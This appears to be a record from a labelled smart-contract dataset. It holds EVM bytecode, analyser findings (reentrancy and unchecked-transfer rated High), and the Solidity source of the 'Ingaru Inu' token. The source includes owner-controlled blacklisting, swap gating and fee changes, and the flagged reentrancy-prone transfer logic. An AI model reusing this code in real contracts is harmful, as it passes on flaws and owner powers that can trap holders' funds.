050565b60066020528060005260406000206000915090505481565b60035481565b600d5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561149a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b600061157a82610eb3565b905060008111156117cb57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561161857600080fd5b505af115801561162c573d6000803e3d6000fd5b505050506040513d602081101561164257600080fd5b81019080805190602001909291905050506116c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61171781600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198490919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176f8160035461198490919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561186557fe5b818303905092915050565b6000611898836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6119d0565b905092915050565b60006118c8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6119f3565b905092915050565b60006118de82600001611adb565b9050919050565b6000600c5414156118f557611939565b611932611921600c54611913600e548561193c90919063ffffffff16565b61196b90919063ffffffff16565b600b5461198490919063ffffffff16565b600b819055505b50565b6000808284029050600084148061195b57508284828161195857fe5b04145b61196157fe5b8091505092915050565b60008082848161197757fe5b0490508091505092915050565b60008082840190508381101561199657fe5b8091505092915050565b60006119c8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611aec565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611acf5760006001820390506000600186600001805490500390506000866000018281548110611a3e57fe5b9060005260206000200154905080876000018481548110611a5b57fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611a9357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611ad5565b60009150505b92915050565b600081600001805490509050919050565b6000611af883836119d0565b611b51578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611b56565b600090505b9291505056fe43616e6e6f742073656e64206f75742072657761726420746f6b656e73206f72207374616b696e6720746f6b656e7321a264697066735822122093eaa2e3a2db6642ca12bd235f12ea1446578a3d04a31555425ab43e27d2e27864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,698 |
0x03633732881F369C5D25b2Be276E780142b237B9
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract IngaruInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ingaru Inu";
string private constant _symbol = "IGU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _devTax;
uint256 private _buyDevTax = 4;
uint256 private _sellDevTax = 8;
uint256 private _marketingTax;
uint256 private _buyMarketingTax = 5;
uint256 private _sellMarketingTax = 8;
uint256 private _salesTax;
uint256 private _buySalesTax = 5;
uint256 private _sellSalesTax = 6;
uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax + _buySalesTax;
uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax + _sellSalesTax;
uint256 private _summedTax = _marketingTax+_salesTax;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
address payable private _holdings;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private enableLevelSell = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr, address payable holdings) {
_Marketingfund = marketingTaxAddress;
_Deployer = depAddr;
_devWalletAddress = devfeeAddr;
_holdings = holdings;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
_isExcludedFromFee[_Deployer] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // bsc 0x10ED43C718714eb63d5aA57B78B54704E256024E eth 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setLevelSellEnabled(bool enable) external onlyOwner {
enableLevelSell = enable;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_devTax == 0 && _summedTax == 0) return;
_devTax = 0;
_summedTax = 0;
}
function restoreAllFee() private {
_devTax = _buyDevTax;
_marketingTax = _buyMarketingTax;
_salesTax = _buySalesTax;
_summedTax = _marketingTax+_salesTax;
}
function takeBuyFee() private {
_salesTax = _buySalesTax;
_marketingTax = _buyMarketingTax;
_devTax = _buyDevTax;
_summedTax = _marketingTax+_salesTax;
}
function takeSellFee() private {
_devTax = _sellDevTax;
_salesTax = _sellSalesTax;
_marketingTax = _sellMarketingTax;
_summedTax = _sellSalesTax+_sellMarketingTax;
}
function levelSell(uint256 amount, address sender) private returns (uint256) {
uint256 sellTax = amount.mul(_totalSellTax).div(100);
_rOwned[sender] = _rOwned[sender].sub(sellTax);
_rOwned[address(this)] = _rOwned[address(this)].add(sellTax);
uint256 tAmount = amount.sub(sellTax);
uint256 prevEthBalance = address(this).balance;
swapTokensForEth(sellTax);
uint256 newEthBalance = address(this).balance;
uint256 balanceDelta = newEthBalance - prevEthBalance;
if (balanceDelta > 0) {
sendETHForSellTax(balanceDelta);
}
return tAmount;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
if (from != owner() && to != owner() && to != uniswapV2Pair) {
require(swapEnabled, "Swap disabled");
_tokenTransfer(from, to, amount, takeFee);
} else {
_tokenTransfer(from, to, amount, takeFee);
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), type(uint256).max);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(_totalBuyTax).mul(_buyMarketingTax));
_devWalletAddress.transfer(amount.div(_totalBuyTax).mul(_buyDevTax));
_Deployer.transfer(amount.div(_totalBuyTax).mul(_buySalesTax));
}
function sendETHForSellTax(uint256 amount) private {
_holdings.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external onlyOwner() {
swapEnabled = enabled;
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setBot(address _bot) external onlyOwner() {
bots[_bot] = true;
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
uint256 amountToTx = amount;
if (!takeFee) {
removeAllFee();
}
else if(sender == uniswapV2Pair) {
takeBuyFee();
}
else if(recipient == uniswapV2Pair) {
takeSellFee();
if (enableLevelSell) {
uint256 remainder = levelSell(amount, sender);
amountToTx = remainder;
}
}
else {
takeSellFee();
}
_transferStandard(sender, recipient, amountToTx);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _devTax, _summedTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 _taxFee = taxFee > 0 ? taxFee : 1;
uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1;
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tTeam = tAmount.mul(_TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_summedTax = teamFee;
}
}
|
0x6080604052600436106101a05760003560e01c806395d89b41116100ec578063cba0e9961161008a578063dd62ed3e11610064578063dd62ed3e14610583578063e01af92c146105c0578063e47d6060146105e9578063f2fde38b14610626576101a7565b8063cba0e996146104f2578063d00efb2f1461052f578063d543dbeb1461055a576101a7565b8063b515566a116100c6578063b515566a14610472578063c0e6b46e1461049b578063c3c8cd80146104c4578063c9567bf9146104db576101a7565b806395d89b41146103e1578063a9059cbb1461040c578063a994856c14610449576101a7565b8063313ce567116101595780636fc3eaec116101335780636fc3eaec1461034b57806370a0823114610362578063715018a61461039f5780638da5cb5b146103b6576101a7565b8063313ce567146102ce5780635932ead1146102f95780636b5caec414610322576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806323b872dd1461023f578063273123b71461027c57806328667162146102a5576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161064f565b6040516101ce9190613bc6565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190613759565b61068c565b60405161020b9190613bab565b60405180910390f35b34801561022057600080fd5b506102296106aa565b6040516102369190613dc8565b60405180910390f35b34801561024b57600080fd5b506102666004803603810190610261919061370a565b6106bb565b6040516102739190613bab565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190613653565b610794565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190613828565b610884565b005b3480156102da57600080fd5b506102e3610974565b6040516102f09190613e3d565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b91906137d6565b61097d565b005b34801561032e57600080fd5b5061034960048036038101906103449190613653565b610a2f565b005b34801561035757600080fd5b50610360610b1f565b005b34801561036e57600080fd5b5061038960048036038101906103849190613653565b610bc5565b6040516103969190613dc8565b60405180910390f35b3480156103ab57600080fd5b506103b4610c16565b005b3480156103c257600080fd5b506103cb610d69565b6040516103d89190613b67565b60405180910390f35b3480156103ed57600080fd5b506103f6610d92565b6040516104039190613bc6565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e9190613759565b610dcf565b6040516104409190613bab565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906137d6565b610ded565b005b34801561047e57600080fd5b5061049960048036038101906104949190613795565b610e9f565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190613828565b610fef565b005b3480156104d057600080fd5b506104d9611100565b005b3480156104e757600080fd5b506104f06111ae565b005b3480156104fe57600080fd5b5061051960048036038101906105149190613653565b6113ef565b6040516105269190613bab565b60405180910390f35b34801561053b57600080fd5b50610544611445565b6040516105519190613dc8565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190613828565b61144b565b005b34801561058f57600080fd5b506105aa60048036038101906105a591906136ce565b611594565b6040516105b79190613dc8565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e291906137d6565b61161b565b005b3480156105f557600080fd5b50610610600480360381019061060b9190613653565b6116cd565b60405161061d9190613bab565b60405180910390f35b34801561063257600080fd5b5061064d600480360381019061064891906136a5565b611723565b005b60606040518060400160405280600a81526020017f496e6761727520496e7500000000000000000000000000000000000000000000815250905090565b60006106a06106996118e5565b84846118ed565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106c8848484611ab8565b610789846106d46118e5565b610784856040518060600160405280602881526020016145cb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073a6118e5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b49092919063ffffffff16565b6118ed565b600190509392505050565b61079c6118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082090613d08565b60405180910390fd5b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61088c6118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090613d08565b60405180910390fd5b6001811015801561092b575060198111155b61096a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096190613c88565b60405180910390fd5b8060138190555050565b60006009905090565b6109856118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990613d08565b60405180910390fd5b80601d60176101000a81548160ff02191690831515021790555050565b610a376118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb90613d08565b60405180910390fd5b6001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b276118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90613d08565b60405180910390fd5b6000479050610bc281612518565b50565b6000610c0f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ce565b9050919050565b610c1e6118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca290613d08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4947550000000000000000000000000000000000000000000000000000000000815250905090565b6000610de3610ddc6118e5565b8484611ab8565b6001905092915050565b610df56118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7990613d08565b60405180910390fd5b80601d60186101000a81548160ff02191690831515021790555050565b610ea76118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90613d08565b60405180910390fd5b60005b8151811015610feb57600160166000848481518110610f7f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fe3906140f0565b915050610f37565b5050565b610ff76118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90613d08565b60405180910390fd5b600081116110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90613cc8565b60405180910390fd5b6110f76127106110e983683635c9adc5dea0000061273c90919063ffffffff16565b6127b790919063ffffffff16565b60158190555050565b6111086118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c90613d08565b60405180910390fd5b60006111a030610bc5565b90506111ab81612801565b50565b6111b66118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90613d08565b60405180910390fd5b601d60149054906101000a900460ff1615611293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128a90613d88565b60405180910390fd5b6001601d60166101000a81548160ff0219169083151502179055506000601d60176101000a81548160ff02191690831515021790555068015af1d78b58c40000601e8190555043601f819055506001601d60146101000a81548160ff021916908315150217905550601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161139a929190613b82565b602060405180830381600087803b1580156113b457600080fd5b505af11580156113c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ec91906137ff565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601f5481565b6114536118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790613d08565b60405180910390fd5b60008111611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90613cc8565b60405180910390fd5b611552606461154483683635c9adc5dea0000061273c90919063ffffffff16565b6127b790919063ffffffff16565b601e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601e546040516115899190613dc8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116236118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a790613d08565b60405180910390fd5b80601d60166101000a81548160ff02191690831515021790555050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61172b6118e5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117af90613d08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f90613c28565b60405180910390fd5b8073fffffffffffffffffffff